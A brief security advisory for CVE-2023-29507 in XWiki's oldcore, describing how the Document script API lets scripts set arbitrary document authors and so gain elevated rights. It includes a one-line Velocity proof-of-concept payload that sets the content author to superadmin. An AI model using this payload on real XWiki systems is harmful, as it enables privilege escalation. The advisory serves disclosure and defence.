CVE-2023-29507: org.xwiki.platform:xwiki-platform-oldcore makes Incorrect Use of Privileged APIs with DocumentAuthors

The Document script API returns directly a DocumentAuthors allowing to set any authors to the document, which in consequence can allow subsequent executions of scripts since this author is used for checking rights. Example of such attack: {{velocity}} $doc.setContent('{{velocity}}$xcontext.context.authorReference{{/velocity}}') $doc.authors.setContentAuthor('xwiki:XWiki.superadmin') $doc.getRenderedContent() {{/velocity}}